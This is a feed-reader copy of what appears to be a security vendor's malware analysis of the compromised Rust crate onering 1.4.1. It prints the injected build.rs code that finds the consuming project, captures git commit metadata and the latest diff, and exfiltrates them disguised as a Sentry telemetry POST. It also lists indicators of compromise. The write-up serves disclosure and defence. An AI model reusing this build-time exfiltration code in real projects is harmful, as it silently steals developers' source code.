惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Microsoft Azure Blog
Microsoft Azure Blog
WordPress大学
WordPress大学
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
The Cloudflare Blog
U
Unit 42
D
Docker
Hugging Face - Blog
Hugging Face - Blog
博客园 - 聂微东
Recent Announcements
Recent Announcements
GbyAI
GbyAI
T
The Blog of Author Tim Ferriss
Last Week in AI
Last Week in AI
V
Visual Studio Blog
I
InfoQ
Google DeepMind News
Google DeepMind News
小众软件
小众软件
L
LangChain Blog
C
Check Point Blog
宝玉的分享
宝玉的分享
Martin Fowler
Martin Fowler
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 【当耐特】
J
Java Code Geeks
罗磊的独立博客

Aikido Security's Blog

GlassWorm goes native: New Zig dropper infects every IDE on your machine Aikido Attack finds multiple 0-days in Hoppscotch The cybersecurity doomerism around Mythos doesn't match what we see on the ground axios compromised on npm: maintainer account hijacked, RAT deployed Popular telnyx package compromised on PyPI by TeamPCP Aikido × Lovable: Vibe, Fix, Ship CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran TeamPCP deploys CanisterWorm on NPM following Trivy compromise Security testing is validating software that no longer exists Aikido Recognized by Frost & Sullivan with the 2026 Customer Value Leadership Award in ASPM GlassWorm Hides a RAT Inside a Malicious Chrome Extension fast-draft Open VSX Extension Compromised by BlokTrooper Glassworm Strikes Popular React Native Phone Number Packages Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Hundreds of Repositories How Security Teams Fight Back Against AI-Powered Hackers Introducing Betterleaks, an open source secrets scanner by the author of Gitleaks Trump’s 2026 cybersecurity strategy: From compliance to consequence How does AI pentesting work with compliance? What continuous pentesting actually requires Rare Not Random: Using Token Efficiency for Secrets Scanning Persistent XSS/RCE using WebSockets in Storybook’s dev server Why Determinism Is Still a Necessity in Security WAF vs. RASP vs. ADR Introducing Aikido Infinite: A new model of self-securing software How Aikido secures AI pentesting agents by design Astro Full-Read SSRF via Host Header Injection How to Get Your Board to Care About Security (Before a Breach Forces the Issue) What is Slopsquatting? The AI Package Hallucination Attack Already Happening SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel Top 6 Wiz Code Alternatives
Compromised Rust crate onering performs code exfiltration
Ilyas Makari · 2026-06-10 · via Aikido Security's Blog

On June 10th 2026, we detected malicious behavior in the latest version, 1.4.1, of the Rust crate "onering". Onering is a high-throughput synchronous queue and channels library for Rust, with over 18,000 downloads on crates.io. In the last few weeks npm, PyPI, and GitHub got most of the attention with a wave of supply chain compromises. This week it is Rust's turn.

The latest version added a build.rs file that quietly harvests git data from whatever project is building the crate and ships it to a remote server, including the actual source code of your most recent commit. We have seen attackers get creative with running payloads at build time in npm and PyPI before, and now they are experimenting with it in Rust. While most recent supply chain attacks have focused on stealing credentials, this one seems to be purely focused on source code.

The problem is not limited to the package published on crates.io. The maintainer's GitHub repository also appears to be compromised, so pulling the crate from git rather than the registry does not make you safe. We immediately alerted the maintainer: https://github.com/cenotelie/onering/issues/1

What the malicious build.rs does

A build.rs is a build script. Cargo compiles and runs it on the developer's machine during the build. That makes it a high-value place to hide a payload, because simply depending on the crate and building is enough to trigger it. You never have to call a single function from the library.

The injected build.rs does three things.

First, it locates the root of the project that is consuming the crate, not its own directory. It walks up from OUT_DIR until it finds the target directory, then takes its parent. The result is your repository.

fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
    let dir = PathBuf::from(std::env::var("OUT_DIR")?);
    let mut project_dir = &*dir;
    while let Some(parent) = project_dir.parent() {
        if let Some(last) = parent.iter().last()
            && last == "target"
            && let Some(parent) = parent.parent()
        {
            project_dir = parent;
            break;
        }
        project_dir = parent;
    }
    Ok(project_dir.to_path_buf())
}

Second, it runs two git commands against your repository. One gathers commit metadata. The other captures the full textual diff of your most recent commit.

let Ok(commit) = git(
    &project_path,
    &[
        "log",
        "-n",
        "1",
        r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
    ],
) else {
    return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
    return;
};

The git diff HEAD^ HEAD call grabs the full diff of your latest commit, which gets exfiltrated every time you build, so over many commits, it leaks a rolling stream of your real source changes rather than a single snapshot.

Third, it disguises the stolen data as a Sentry telemetry event and POSTs it with curl to a Sentry ingest endpoint. The commit metadata becomes the event tags, and your code diff is stuffed into the extra.patch field.

let payload = format!(
    r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
    Uuid::new_v4().as_simple(),
    patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
    "POST",
    "https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
    &["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
    &payload,
) else {
    return;
};

The disguise is deliberate. To anyone who notices outbound traffic during a build, a request to a Sentry ingest URL reads as ordinary crash reporting. There is also a leftover commented line, // std::fs::write("data.txt", payload), which strongly suggests the payload was tested locally by writing it to disk before the network call was wired up.

How Aikido detects this

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.

Indicators of compromise

  • Dependency onering version 1.4.1 from crates.io.
  • The Sentry ingest endpoint https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/.
  • The Sentry DSN public key 8197ee42c4f59c83f4cc6d48f5bae821, organization id o4511539639222272, and project id 4511539669368912.